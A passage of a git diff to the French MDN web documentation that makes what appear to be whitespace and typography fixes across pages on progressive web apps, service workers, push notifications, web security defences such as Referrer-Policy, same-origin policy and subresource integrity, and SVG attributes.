d'exemples utilisant des _service workers_. Ça vaut le coup d'essayer l'approche PWA, afin que vous puissiez constater par vous-même si ça convient à votre application. diff --git a/files/fr/web/progressive_web_apps/loading/index.md b/files/fr/web/progressive_web_apps/loading/index.md index 91b2a90e4b..dc07a9dbd4 100644 --- a/files/fr/web/progressive_web_apps/loading/index.md +++ b/files/fr/web/progressive_web_apps/loading/index.md @@ -12,7 +12,7 @@ Dans les articles précédents, nous avons abordé les APIs qui nous aident à f ## Première visualisation signifiante -Il est important de fournir quelque chose qui ait du sens pour l'utilisateur dès que possible — plus il attend que la page se charge, plus il y a de chances qu'il s'en aille plutôt que d'attendre que tout soit fini. Nous devrions être capable de lui montrer au moins une vue basique de la page qu'il veut voir avec des emplacements où du contenu supplémentaire sera chargé à un moment donné. +Il est important de fournir quelque chose qui ait du sens pour l'utilisateur dès que possible — plus il attend que la page se charge, plus il y a de chances qu'il s'en aille plutôt que d'attendre que tout soit fini. Nous devrions être capable de lui montrer au moins une vue basique de la page qu'il veut voir avec des emplacements où du contenu supplémentaire sera chargé à un moment donné. Ceci peut être réalisé grâce au chargement progressif — également appelé [Lazy loading](https://en.wikipedia.org/wiki/Lazy_loading). Tout ceci consiste en retardant autant que possible le plus de ressources que possible (HTML, CSS, JavaScript), et ne charger immédiatement que celles qui sont réellement nécessaire pour la toute première expérience. @@ -144,7 +144,7 @@ Rappelez-vous qu'il y a de nombreuses façons d'optimiser les temps de chargemen Nous ne le ferons pas car l'application elle-même dépend de JavaScript — sans lui, la liste des jeux ne sera même pas chargée et le code du Service Worker ne s'exécutera pas. -Nous pourrions réécrire le processus de chargement pour charger non seulement les images mais aussi les éléments complets composés des descriptions complètes et des liens. Cela fonctionnerait comme un défilement infini — charger les éléments de la liste seulement quand l'utilisateur fait défiler la page vers le bas. De cette façon, la structure HTML initiale sera minimale, le temps de chargement encore plus court et nous aurions des bénéfices de performance encore meilleurs. +Nous pourrions réécrire le processus de chargement pour charger non seulement les images mais aussi les éléments complets composés des descriptions complètes et des liens. Cela fonctionnerait comme un défilement infini — charger les éléments de la liste seulement quand l'utilisateur fait défiler la page vers le bas. De cette façon, la structure HTML initiale sera minimale, le temps de chargement encore plus court et nous aurions des bénéfices de performance encore meilleurs. ## Conclusion diff --git a/files/fr/web/progressive_web_apps/offline_service_workers/index.md b/files/fr/web/progressive_web_apps/offline_service_workers/index.md index e4a376c6cb..dae15b064c 100644 --- a/files/fr/web/progressive_web_apps/offline_service_workers/index.md +++ b/files/fr/web/progressive_web_apps/offline_service_workers/index.md @@ -16,7 +16,7 @@ Maintenant que nous avons vu à quoi ressemble l'architecture de js13kPWA et que ## Les Service workers expliqués -Les Service Workers sont des proxy virtuels entre le navigateur et le réseau. Ils permettent enfin de régler les problèmes auxquels les développeurs front-end se débattent depuis des années — et plus particulièrement comment mettre proprement en cache les composants d'un site web et les rendre disponibles quand l'appareil de l'utilisateur est hors connexion. +Les Service Workers sont des proxy virtuels entre le navigateur et le réseau. Ils permettent enfin de régler les problèmes auxquels les développeurs front-end se débattent depuis des années — et plus particulièrement comment mettre proprement en cache les composants d'un site web et les rendre disponibles quand l'appareil de l'utilisateur est hors connexion. Ils s'exécutent dans un processus séparé de celui du code JavaScript principal de notre page et n'ont aucun accès à la structure DOM. Cela introduit une approche différente de celle de la programmation web traditionnelle — l'API est non bloquante et peut émettre et recevoir de la communication entre différents contextes. Vous pouvez donner à un Service Worker quelque chose à faire et recevoir le résultat quand il est prêt en utilisant une approche basée sur les [Promise](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise). @@ -42,7 +42,7 @@ Assez de théorie — voyons un peu de code source ! Commençons par regarder le code qui enregistre un nouveau Service Worker, dans le fichier app.js: -**NOTE** : Nous utilisons la syntaxe des **fonctions flèchées** pour l'implémentation du Service Worker +**NOTE** : Nous utilisons la syntaxe des **fonctions flèchées** pour l'implémentation du Service Worker ```js if('serviceWorker' in navigator) { @@ -50,11 +50,11 @@ if('serviceWorker' in navigator) { }; ``` -Si l'API service worker est prise en charge dans le navigateur, il est enregistré pour le site en utilisant la méthode {{domxref("ServiceWorkerContainer.register()")}}. Son contenu se trouve dans le fichier sw\.js et peut être exécuté une fois que l'enregistrement a réussi. C'est la seule partie de code du Service Worker qui se trouve dans le fichier app.js. Tout le reste spécifique au Service Worker se trouve dans le fichier sw\.js . +Si l'API service worker est prise en charge dans le navigateur, il est enregistré pour le site en utilisant la méthode {{domxref("ServiceWorkerContainer.register()")}}. Son contenu se trouve dans le fichier sw\.js et peut être exécuté une fois que l'enregistrement a réussi. C'est la seule partie de code du Service Worker qui se trouve dans le fichier app.js. Tout le reste spécifique au Service Worker se trouve dans le fichier sw\.js . ### Le cycle de vie d'un Service Worker -Une fois que l'enregistrement a été réalisé, le fichier sw\.js est automatiquement téléchargé, puis installé, et finalement activé. +Une fois que l'enregistrement a été réalisé, le fichier sw\.js est automatiquement téléchargé, puis installé, et finalement activé. #### Installation @@ -124,7 +124,7 @@ Le service worker ne s'installe pas tant que le code de `waitUntil` n'est pas ex `caches` est un objet {{domxref("CacheStorage")}} spécial accessible dans la portée du Service Worker et qui permet d'enregistrer les données — l'enregistrement dans le [web storage](/fr/docs/Web/API/Web_Storage_API) ne fonctionnera pas, parce que le web storage fonctionne de façon synchrone. Avec les Service Workers, nous utilisons l'API Cache à la place. Ici, nous ouvrons un cache sous un nom donné, puis nous lui ajoutons tous les fichiers que notre app utilise, de telle sorte qu'ils soient disponibles la prochaine fois qu'il sera chargé (identifié par l'URL de la requête). -Vous avez remarqué que nous n'avons pas mis en cache le fichier `game.js`. Ce fichier contient les données utilisées pour afficher les jeux. En réalité, ces données seront appelées depuis le endpoint d'une API ou depuis une base de données.Mettre en cache ces données signifierait qu'elles ne seraient mises à jour que périodiquement quand il y' a une connexion au réseau. Nous n'irons pas plus loin sur ce sujet, pour en savoir plus : [Web_Periodic_Background_Synchronization_API](/fr/docs/Web/API/Web_Periodic_Background_Synchronization_API) . +Vous avez remarqué que nous n'avons pas mis en cache le fichier `game.js`. Ce fichier contient les données utilisées pour afficher les jeux. En réalité, ces données seront appelées depuis le endpoint d'une API ou depuis une base de données.Mettre en cache ces données signifierait qu'elles ne seraient mises à jour que périodiquement quand il y' a une connexion au réseau. Nous n'irons pas plus loin sur ce sujet, pour en savoir plus : [Web_Periodic_Background_Synchronization_API](/fr/docs/Web/API/Web_Periodic_Background_Synchronization_API) . #### Activation @@ -132,7 +132,7 @@ Il y a également un événement `activate` qui est utilisé de la même façon ### Répondre aux requêtes -Nous avons également un événement `fetch` à notre disposition et qui est déclenché à chaque fois qu'une requête HTTP est émise par notre app. Ceci est très utile car ça nous permet d'intercepter des requêtes et d'y répondre de façon personnalisée. Voic un exemple d'utilisation simpliste: +Nous avons également un événement `fetch` à notre disposition et qui est déclenché à chaque fois qu'une requête HTTP est émise par notre app. Ceci est très utile car ça nous permet d'intercepter des requêtes et d'y répondre de façon personnalisée. Voic un exemple d'utilisation simpliste: ```js self.addEventListener('fetch', (e) => { @@ -165,7 +165,7 @@ Ici, nous répondons à l'événement `fetch` grâce à une fonction qui essaie La méthode {{domxref("FetchEvent.respondWith")}} prend le contrôle — c'est la partie qui agit en tant que serveur proxy entre l'application et le réseau. Ceci nous permet de répondre à chacune des requêtes avec la réponse que nous voulons: celle préparée par le Service Worker, celle récupérée dans le cache, modifiée si nécessaire. -ça y est ! Notre application met en cache ses ressources lors de l'installation et les sert en les récupérant dans le cache, si bien qu'elle fonctionne même si l'utilisateur n'a pas de connexion. Elle met également en cache les contenus dès qu'il y en a de nouveaux d'ajoutés. +ça y est ! Notre application met en cache ses ressources lors de l'installation et les sert en les récupérant dans le cache, si bien qu'elle fonctionne même si l'utilisateur n'a pas de connexion. Elle met également en cache les contenus dès qu'il y en a de nouveaux d'ajoutés. ## Mises à jour @@ -219,9 +219,9 @@ Servir des fichiers depuis le cache n'est pas la seule fonctionnalité que le Se ## Résumé -Dans cet article, nous avons rapidement abordé la façon de faire fonctionner notre PWA en mode déconnecté grâce aux service workers. Consultez la documentation si vous voulez en apprendre davantage sur les concepts qui sont derrière l'[API Service Worker](/fr/docs/Web/API/Service_Worker_API) et comment l'exploiter au mieux. +Dans cet article, nous avons rapidement abordé la façon de faire fonctionner notre PWA en mode déconnecté grâce aux service workers. Consultez la documentation si vous voulez en apprendre davantage sur les concepts qui sont derrière l'[API Service Worker](/fr/docs/Web/API/Service_Worker_API) et comment l'exploiter au mieux. -Les Service Workers sont également utilisés pour gérer les [push notifications](/fr/docs/Web/API/Push_API) — ceci sera expliqué dans un prochain article. +Les Service Workers sont également utilisés pour gérer les [push notifications](/fr/docs/Web/API/Push_API) — ceci sera expliqué dans un prochain article. {{PreviousMenuNext("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}} diff --git a/files/fr/web/progressive_web_apps/re-engageable_notifications_push/index.md b/files/fr/web/progressive_web_apps/re-engageable_notifications_push/index.md index 75752e6e9f..2162236487 100644 --- a/files/fr/web/progressive_web_apps/re-engageable_notifications_push/index.md +++ b/files/fr/web/progressive_web_apps/re-engageable_notifications_push/index.md @@ -70,7 +70,7 @@ Pousser (push) est plus compliqué que de faire des notifications — nous avons La technologie en est toujours à ses tous débuts — certains exemples fonctionnels utilisent la plateforme Cloud de messagerie de Google, mais elles sont en cours de réécriture pour prendre en charge [VAPID](https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/) (Voluntary Application Identification) qui offre une couche de sécurité supplémentaire pour votre application. Vous pouvez étudier les [exemples du Cookbook des Service Workers](https://serviceworke.rs/push-payload.html), essayer de mettre en place un serveur d'émission de messages utilisant [Firebase](https://firebase.google.com/) ou construire votre propre serveur (en utilisant Node.js par exemple). -Comme mentionné précédemment, pour être capable de recevoir des messages poussés, vous devez avoir un service worker dont les fondamentaux ont déjà été expliqué dans l'article [Permettre aux PWAs de fonctionner en mode déconnecté grâce aux Service workers](/fr/docs/Web/Apps/Progressive/Offline_Service_workers). A l'intérieur du service worker, un mécanisme de souscription à un service d'émission est créé. +Comme mentionné précédemment, pour être capable de recevoir des messages poussés, vous devez avoir un service worker dont les fondamentaux ont déjà été expliqué dans l'article [Permettre aux PWAs de fonctionner en mode déconnecté grâce aux Service workers](/fr/docs/Web/Apps/Progressive/Offline_Service_workers). A l'intérieur du service worker, un mécanisme de souscription à un service d'émission est créé. ```js registration.pushManager.getSubscription() .then( /* ... */ ); @@ -137,7 +137,7 @@ const convertedVapidKey = urlBase64ToUint8Array(vapidPublicKey); L'application récupère la clef publique du serveur et convertit la réponse sous forme de texte; puis cette réponse doit être convertie en un tableau de nombre entier non signé (Uint8Array (pour une prise en charge par Chrome). Pour en apprendre davantage sur les clefs VAPID, vous pouvez lire le message de blog [Envoyer des notifications WebPush identitées par VAPID via le service de Push de Mozilla](https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/). -L'application peut maintenant utiliser le {{domxref("PushManager")}} pour abonner le nouvel utilisateur. Il y a deux options passées à la méthode {{domxref("PushManager.subscribe()")}} — la première est `userVisibleOnly: true`, qui signifie que toutes les notifications envoyées à l'utilisateur lui seront visibles et la seconde est `applicationServerKey`, qui contient notre clef VAPID une fois récupérée et convertie avec succès. +L'application peut maintenant utiliser le {{domxref("PushManager")}} pour abonner le nouvel utilisateur. Il y a deux options passées à la méthode {{domxref("PushManager.subscribe()")}} — la première est `userVisibleOnly: true`, qui signifie que toutes les notifications envoyées à l'utilisateur lui seront visibles et la seconde est `applicationServerKey`, qui contient notre clef VAPID une fois récupérée et convertie avec succès. ```js return registration.pushManager.subscribe({ @@ -183,7 +183,7 @@ document.getElementById('doIt').onclick = function() { }; ``` -Quand le bouton est cliqué, `fetch` demande au serveur d'envoyer la notification avec les paramètres suivants: `payload` est le contenu que la notification doir afficher, `delay` définit un délai en seconde avant que la notification soit affichée et `ttl` indique en seconde le temps que cette notification doit rester disponible sur le serveur. +Quand le bouton est cliqué, `fetch` demande au serveur d'envoyer la notification avec les paramètres suivants: `payload` est le contenu que la notification doir afficher, `delay` définit un délai en seconde avant que la notification soit affichée et `ttl` indique en seconde le temps que cette notification doit rester disponible sur le serveur. Au tour maintenant du fichier Javascript suivant. diff --git a/files/fr/web/security/index.md b/files/fr/web/security/index.md index 59b6db97fb..8a9fbb7160 100644 --- a/files/fr/web/security/index.md +++ b/files/fr/web/security/index.md @@ -7,7 +7,7 @@ tags: - Web translation_of: Web/Security --- -La sécurité d'un site internet ou d'une application web est essentielle. Même de simple bugs dans votre code peuvent impliquer la fuite d'informations privées et des personnes mals intentionnées essayent constamment de trouver des moyens de voler des données. Les articles sur la sécurité web listés ici fournissent des informations qui devraient vous aider à sécuriser votre site et rendre votre code plus sûr contre les attaques et vols de données. +La sécurité d'un site internet ou d'une application web est essentielle. Même de simple bugs dans votre code peuvent impliquer la fuite d'informations privées et des personnes mals intentionnées essayent constamment de trouver des moyens de voler des données. Les articles sur la sécurité web listés ici fournissent des informations qui devraient vous aider à sécuriser votre site et rendre votre code plus sûr contre les attaques et vols de données. {{LandingPageListSubpages}} diff --git a/files/fr/web/security/referer_header_colon__privacy_and_security_concerns/index.md b/files/fr/web/security/referer_header_colon__privacy_and_security_concerns/index.md index c69dcb0859..15505402e5 100644 --- a/files/fr/web/security/referer_header_colon__privacy_and_security_concerns/index.md +++ b/files/fr/web/security/referer_header_colon__privacy_and_security_concerns/index.md @@ -31,20 +31,20 @@ De plus, vous devriez envisager de supprimer tout contenu provenant d'un tiers ( Vous pouvez également atténuer ces risques en utilisant : -- L’en-tête `{{httpheader("Referrer-Policy")}}` sur votre serveur pour contrôler quelle information est envoyée par l’en-tête `Referer`. Encore une fois, une directive `no-referrer` omettrait intégralement l’en-tête `Referer`. -- L’attribut `referrerpolicy` sur les éléments HTML qui présentent des risques de fuite d'informations (comme `<img>` et `<a>`). Cet attribut peut prendre par exemple la valeur `no-referrer` afin d'empêcher l'envoi de l’en-tête `Referer`. +- L’en-tête `{{httpheader("Referrer-Policy")}}` sur votre serveur pour contrôler quelle information est envoyée par l’en-tête `Referer`. Encore une fois, une directive `no-referrer` omettrait intégralement l’en-tête `Referer`. +- L’attribut `referrerpolicy` sur les éléments HTML qui présentent des risques de fuite d'informations (comme `<img>` et `<a>`). Cet attribut peut prendre par exemple la valeur `no-referrer` afin d'empêcher l'envoi de l’en-tête `Referer`. - L’attribut `rel` défini à `noreferrer` sur les éléments HTML à risques (comme `<img>` et \<a>). Voir Types de liens et rechercher `noreferrer` pour plus d’informations. - La technique de la [page de sortie](https://geekthis.net/post/hide-http-referer-headers/#exit-page-redirect). -Les frameworks soucieux de la sécurité employés côté serveur ont tendance à inclure d'emblée des mesures d’atténuation pour résoudre ces problèmes, par exemple : +Les frameworks soucieux de la sécurité employés côté serveur ont tendance à inclure d'emblée des mesures d’atténuation pour résoudre ces problèmes, par exemple : - La sécurité dans Django (voir notamment Cross Site Request Forgery (CSRF) protection). - helmet referrer-policy — middleware pour configurer l'entête Referrer-Policy dans les applications Node.js/Express (voir aussi helmet pour plus d'aménagements liés à la sécurité). ## Politique et exigences. -Il serait pertinent de rédiger pour votre (vos) équipe(s) de projet un ensemble d’exigences en matière de sécurité et de protection des renseignements personnels en en précisant l’utilisation dans le cadre de l'atténuation des risques. Vous devriez demander l’aide d’un expert en sécurité Web pour rédiger ces exigences en tenant compte à la fois des besoins et du bien-être des utilisateurs, ainsi que d’autres questions liées à la législation et la réglementation comme le [Réglement Général à la Protection des Données de l'Union Européenne](https://ec.europa.eu/info/law/law-topic/data-protection/eu-data-protection-rules_fr). +Il serait pertinent de rédiger pour votre (vos) équipe(s) de projet un ensemble d’exigences en matière de sécurité et de protection des renseignements personnels en en précisant l’utilisation dans le cadre de l'atténuation des risques. Vous devriez demander l’aide d’un expert en sécurité Web pour rédiger ces exigences en tenant compte à la fois des besoins et du bien-être des utilisateurs, ainsi que d’autres questions liées à la législation et la réglementation comme le [Réglement Général à la Protection des Données de l'Union Européenne](https://ec.europa.eu/info/law/law-topic/data-protection/eu-data-protection-rules_fr). ## Voir aussi -- [Lignes directrices de l'équipe de sécurité de Mozilla sur Referrer-Policy](https://infosec.mozilla.org/guidelines/web_security.html#referrer-policy) +- [Lignes directrices de l'équipe de sécurité de Mozilla sur Referrer-Policy](https://infosec.mozilla.org/guidelines/web_security.html#referrer-policy) diff --git a/files/fr/web/security/same-origin_policy/index.md b/files/fr/web/security/same-origin_policy/index.md index ce2a713f38..8240c92a1b 100644 --- a/files/fr/web/security/same-origin_policy/index.md +++ b/files/fr/web/security/same-origin_policy/index.md @@ -62,9 +62,9 @@ Utiliser [CORS](/fr/docs/HTTP/Access_control_CORS) pour autoriser l'accès cross ## Accès script cross-origin -Les APIs JavaScript comme [`iframe.contentWindow`](/fr/docs/DOM/HTMLIFrameElement), [`window.parent`](/fr/docs/DOM/window.parent), [`window.open`](/fr/docs/DOM/window.open) et [`window.opener`](/fr/docs/DOM/window.opener) autorisent les documents à se référencer directement entre eux. Quand deux documents n'ont pas la même origine, ces références fournissent des accès limités aux objets [Window](http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-window) et [Location](http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#security-location). Certains navigateurs [permettent l'accès à plus de propriétés](https://bugzilla.mozilla.org/show_bug.cgi?id=839867) que ce que les spécifications permettent. À la place, vous pouvez utiliser [`window.postMessage`](/fr/docs/DOM/window.postMessage) pour communiquer entre deux documents. +Les APIs JavaScript comme [`iframe.contentWindow`](/fr/docs/DOM/HTMLIFrameElement), [`window.parent`](/fr/docs/DOM/window.parent), [`window.open`](/fr/docs/DOM/window.open) et [`window.opener`](/fr/docs/DOM/window.opener) autorisent les documents à se référencer directement entre eux. Quand deux documents n'ont pas la même origine, ces références fournissent des accès limités aux objets [Window](http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-window) et [Location](http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#security-location). Certains navigateurs [permettent l'accès à plus de propriétés](https://bugzilla.mozilla.org/show_bug.cgi?id=839867) que ce que les spécifications permettent. À la place, vous pouvez utiliser [`window.postMessage`](/fr/docs/DOM/window.postMessage) pour communiquer entre deux documents. ## Voir aussi -- [Same-origin policy for file: URIs](/en/Same-origin_policy_for_file:_URIs) +- [Same-origin policy for file: URIs](/en/Same-origin_policy_for_file:_URIs) - [Same-Origin Policy at W3C](http://www.w3.org/Security/wiki/Same_Origin_Policy) diff --git a/files/fr/web/security/secure_contexts/index.md b/files/fr/web/security/secure_contexts/index.md index 4a1174042c..6129e98802 100644 --- a/files/fr/web/security/secure_contexts/index.md +++ b/files/fr/web/security/secure_contexts/index.md @@ -3,7 +3,7 @@ title: Secure Contexts slug: Web/Security/Secure_Contexts translation_of: Web/Security/Secure_Contexts --- -Un navigateur entre dans un **contexte sécurisé** quand il a satisfait les exigences minimale de sécurité. Un contexte sécurisé permet au navigateur de mettre à disposition des APIs qui nécessitent des transferts sécurisés avec l'utilisateur. +Un navigateur entre dans un **contexte sécurisé** quand il a satisfait les exigences minimale de sécurité. Un contexte sécurisé permet au navigateur de mettre à disposition des APIs qui nécessitent des transferts sécurisés avec l'utilisateur. @@ -19,9 +19,9 @@ Certaines APIs du web peuvent donner beaucoup de pouvoir à un attaqueur, lui pe Un contexte sera considéré comme sécurisé s'il est servi locallement, ou depuis un serveur sécurisé. Un contexte qui n'est pas à la racine (une page qui n'est pas dans une fenêtre, iframe, ...) doit avoir tous ses contextes parents sécurisés. -Les fichiers servis locallement avec des chemins comme *http\://localhost* et *file://* sont considérés sécurisés. +Les fichiers servis locallement avec des chemins comme *http\://localhost* et *file://* sont considérés sécurisés. -Les contextes qui ne sont pas servis locallement doivent être servis avec *https\://* ou *wss\://* et les protocoles utilisés ne doivent pas être considérés obsolètes. +Les contextes qui ne sont pas servis locallement doivent être servis avec *https\://* ou *wss\://* et les protocoles utilisés ne doivent pas être considérés obsolètes. ## Détection des fonctionnalités @@ -29,14 +29,14 @@ Les pages peuvent utiliser la détection de fonctionnalités pour vérifier si e ```js if (window.isSecureContext) { - // La page est dans un contexte sécurisé, les services workers sont disponibles. + // La page est dans un contexte sécurisé, les services workers sont disponibles. navigator.serviceWorker.register("/offline-worker.js").then(function () { ... }); } ``` -## Quelles APIs requièrent un contexte sécurisé ? +## Quelles APIs requièrent un contexte sécurisé ? - {{SpecName('Service Workers')}} - {{SpecName('Web Bluetooth')}} @@ -56,7 +56,7 @@ Certains navigateurs peuvent décider de demander à certaines APIs d'être dans <table class="standard-table"> <tbody> <tr> - <td> </td> + <td></td> <td>Chrome</td> <td>Safari</td> <td>Firefox</td> @@ -71,11 +71,11 @@ Certains navigateurs peuvent décider de demander à certaines APIs d'être dans > </p> </td> - <td> </td> + <td></td> <td> <p> Accès temporaire uniquement (les utilisateurs ne peuvent pas choisir - "Retenir ce choix" dans la selection de permission). + "Retenir ce choix" dans la selection de permission). </p> </td> </tr> @@ -107,20 +107,20 @@ Certains navigateurs peuvent décider de demander à certaines APIs d'être dans <tr> <td>EME</td> <td>Avertissement de dépréciation</td> - <td> </td> - <td> </td> + <td></td> + <td></td> </tr> <tr> <td>Device motion / orientation</td> <td>Avertissement de dépréciation</td> - <td> </td> - <td> </td> + <td></td> + <td></td> </tr> <tr> <td>MIDI</td> <td>Désactivé</td> - <td> </td> - <td> </td> + <td></td> + <td></td> </tr> <tr> <td><em>{{SpecName('Web Crypto API')}}</em></td> @@ -130,13 +130,13 @@ Certains navigateurs peuvent décider de demander à certaines APIs d'être dans antérieur</em > </td> - <td> </td> - <td> </td> + <td></td> + <td></td> </tr> </tbody> </table> -Pour vérifier le support de votre navigateur, utilisez le site: http\://permission.site +Pour vérifier le support de votre navigateur, utilisez le site: http\://permission.site _Note: Safari et Chrome ne supportent pas complètement la spécification des Secure Contexts, certaines APIs peuvent fonctionner avec des iframes utilisant du HTTPS dans une page utilisant du HTTP ou dans une page qui a un contexte ouvert avec une page non sécurisée (c'est le cas quand une page utilisant du HTTP utilise window\.open ou target="\_blank")._ diff --git a/files/fr/web/security/subresource_integrity/index.md b/files/fr/web/security/subresource_integrity/index.md index 45de2fed51..0a3da9381d 100644 --- a/files/fr/web/security/subresource_integrity/index.md +++ b/files/fr/web/security/subresource_integrity/index.md @@ -33,7 +33,7 @@ Voici un exemple de valeur pour l'attribut **`integrity`** avec un hash sha384 e Vous pouvez générer des _hashes_ SRI en ligne de commande avec OpenSSL en utilisant une commande de ce genre : ```bash -cat FILENAME.js | openssl dgst -sha384 -binary | openssl enc -base64 -A +cat FILENAME.js | openssl dgst -sha384 -binary | openssl enc -base64 -A ``` Il existe également, **SRI Hash Generator** : <https://srihash.org/> qui est un utilitaire en ligne permettant de générer des _hashes_ SRI. @@ -65,8 +65,8 @@ Les navigateurs gèrent SRI en effectuant les étapes suivantes : | Spécification | État | Commentaires | | ------------------------------------------------ | -------------------------------------------- | ------------ | -| {{SpecName('Subresource Integrity')}} | {{Spec2('Subresource Integrity')}} | | -| {{SpecName('Fetch')}} | {{Spec2('Fetch')}} | | +| {{SpecName('Subresource Integrity')}} | {{Spec2('Subresource Integrity')}} | | +| {{SpecName('Fetch')}} | {{Spec2('Fetch')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/applying_svg_effects_to_html_content/index.md b/files/fr/web/svg/applying_svg_effects_to_html_content/index.md index 2cafc5a036..01fd6f0005 100644 --- a/files/fr/web/svg/applying_svg_effects_to_html_content/index.md +++ b/files/fr/web/svg/applying_svg_effects_to_html_content/index.md @@ -113,7 +113,7 @@ Vous pouvez faire des changements en temps réel et vous rendre compte qu'ils af ```js function toggleRadius() { var circle = document.getElementById("circle"); - circle.r.baseVal.value = 0.40 - circle.r.baseVal.value; + circle.r.baseVal.value = 0.40 - circle.r.baseVal.value; } ``` @@ -165,20 +165,20 @@ Et encore d'autres filtres : ```html <svg height="0"> <filter id="f3"> - <feConvolveMatrix filterRes="100 100" style="color-interpolation-filters:sRGB" - order="3" kernelMatrix="0 -1 0 -1 4 -1 0 -1 0" preserveAlpha="true"/> - </filter> + <feConvolveMatrix filterRes="100 100" style="color-interpolation-filters:sRGB" + order="3" kernelMatrix="0 -1 0 -1 4 -1 0 -1 0" preserveAlpha="true"/> + </filter> <filter id="f4"> - <feSpecularLighting surfaceScale="5" specularConstant="1" - specularExponent="10" lighting-color="white"> - <fePointLight x="-5000" y="-10000" z="20000"/> - </feSpecularLighting> + <feSpecularLighting surfaceScale="5" specularConstant="1" + specularExponent="10" lighting-color="white"> + <fePointLight x="-5000" y="-10000" z="20000"/> + </feSpecularLighting> </filter> <filter id="f5"> - <feColorMatrix values="1 0 0 0 0 - 0 1 0 0 0 - 0 0 1 0 0 - 0 1 0 0 0" style="color-interpolation-filters:sRGB"/> + <feColorMatrix values="1 0 0 0 0 + 0 1 0 0 0 + 0 0 1 0 0 + 0 1 0 0 0" style="color-interpolation-filters:sRGB"/> </filter> </svg> ``` diff --git a/files/fr/web/svg/attribute/clip-path/index.md b/files/fr/web/svg/attribute/clip-path/index.md index 2fb54eb510..18cac09939 100644 --- a/files/fr/web/svg/attribute/clip-path/index.md +++ b/files/fr/web/svg/attribute/clip-path/index.md @@ -71,7 +71,7 @@ html,body,svg { height:100% } </table> - \<geometry-box> - - : une information supplémentaire pour dire comment une {{cssxref('basic-shape', 'forme CSS')}} est appliquée à un élément: `fill-box` indique d'utiliser la zone de sélection de l'objet ; `stroke-box` d'utiliser la zone de sélection de l'objet en prenant en plus le contour de l'élément; `view-box` d'utiliser le document SVG parent. + - : une information supplémentaire pour dire comment une {{cssxref('basic-shape', 'forme CSS')}} est appliquée à un élément: `fill-box` indique d'utiliser la zone de sélection de l'objet ; `stroke-box` d'utiliser la zone de sélection de l'objet en prenant en plus le contour de l'élément; `view-box` d'utiliser le document SVG parent. > **Note :** Pour plus d'informations sur la syntaxe de clip-path, voir la propriété CSS {{cssxref('clip-path')}}. diff --git a/files/fr/web/svg/attribute/color/index.md b/files/fr/web/svg/attribute/color/index.md index 1dc36653d5..2a7c8a69af 100644 --- a/files/fr/web/svg/attribute/color/index.md +++ b/files/fr/web/svg/attribute/color/index.md @@ -62,7 +62,7 @@ L'attribut `color` est utilisé pour définir indirectement une valeur potentiel Les éléments suivants peuvent utiliser l'attribut `color`: - [Éléments de contenu textuel](/fr/docs/Web/SVG/Element#Éléments_de_contenu_textuel "en/SVG/Element#Text_content_elements") » -- [Éléments de formes](/fr/docs/Web/SVG/Element#Éléments_de_formes "en/SVG/Element#Shape_elements") » +- [Éléments de formes](/fr/docs/Web/SVG/Element#Éléments_de_formes "en/SVG/Element#Shape_elements") » - {{ SVGElement("stop") }} - {{ SVGElement("feFlood") }} - {{ SVGElement("feDiffuseLighting") }} diff --git a/files/fr/web/svg/attribute/core/index.md b/files/fr/web/svg/attribute/core/index.md index 68eba8a13f..ec5027b655 100644 --- a/files/fr/web/svg/attribute/core/index.md +++ b/files/fr/web/svg/attribute/core/index.md @@ -3,7 +3,7 @@ title: Attributs SVG de base slug: Web/SVG/Attribute/Core translation_of: Web/SVG/Attribute/Core --- -Les _attributs SVG de base_ sont tous les attributs communs pouvant être spécifiés sur n'importe quel élément SVG. +Les _attributs SVG de base_ sont tous les attributs communs pouvant être spécifiés sur n'importe quel élément SVG. - `id` - `lang` @@ -19,7 +19,7 @@ Les _attributs SVG de base_ sont tous les attributs communs pouvant être spé _Valuer_: Tout ID valide; _Animation_: **Non** - {{SVGAttr('lang')}} - - : Définit le langage de l'élément — la langue dans laquelle sont écrit les éléments non-éditables et celle dans laquelle devrait être écrits les éléments éditables. L'attribut prend pour valeur l'identifiant de la langue tel que définit dans le [document IETF "Tags for Identifying Languages" (BCP47)](https://www.ietf.org/rfc/bcp/bcp47.txt). + - : Définit le langage de l'élément — la langue dans laquelle sont écrit les éléments non-éditables et celle dans laquelle devrait être écrits les éléments éditables. L'attribut prend pour valeur l'identifiant de la langue tel que définit dans le [document IETF "Tags for Identifying Languages" (BCP47)](https://www.ietf.org/rfc/bcp/bcp47.txt). > **Note :** SVG 2 introduit l'attribut `lang`. Si les attributs `lang` et `xml:lang` sont tous les deux définis, `xml:lang` a la priorité sur `lang`. diff --git a/files/fr/web/svg/attribute/cx/index.md b/files/fr/web/svg/attribute/cx/index.md index 6738645445..234bcc8e97 100644 --- a/files/fr/web/svg/attribute/cx/index.md +++ b/files/fr/web/svg/attribute/cx/index.md @@ -101,7 +101,7 @@ Pour un élément {{SVGElement('ellipse')}}, `cx` définit la coordonnées x de ## radialGradient -Pour un élément {{SVGElement('radialGradient')}}, `cx` définit la coordonnées x du plus grand cercle pour le dégradé radial (c'est-à-dire du plus externe). Le dégradé sera dessiné de telle façon que la [limite du dégradé](/fr/docs/SVG/Element/stop "/en-US/docs/SVG/Element/stop") à **100%** corresponde au périmètre de ce plus grand cercle. +Pour un élément {{SVGElement('radialGradient')}}, `cx` définit la coordonnées x du plus grand cercle pour le dégradé radial (c'est-à-dire du plus externe). Le dégradé sera dessiné de telle façon que la [limite du dégradé](/fr/docs/SVG/Element/stop "/en-US/docs/SVG/Element/stop") à **100%** corresponde au périmètre de ce plus grand cercle. <table class="standard-table"> <tbody> diff --git a/files/fr/web/svg/attribute/cy/index.md b/files/fr/web/svg/attribute/cy/index.md index bfc3a0704a..7f4ab447d9 100644 --- a/files/fr/web/svg/attribute/cy/index.md +++ b/files/fr/web/svg/attribute/cy/index.md @@ -25,7 +25,7 @@ html,body,svg { height:100% } <stop offset="100%" stop-color="black" /> </radialGradient> - <circle cy="50" cx="50" r="45"/> + <circle cy="50" cx="50" r="45"/> <ellipse cy="150" 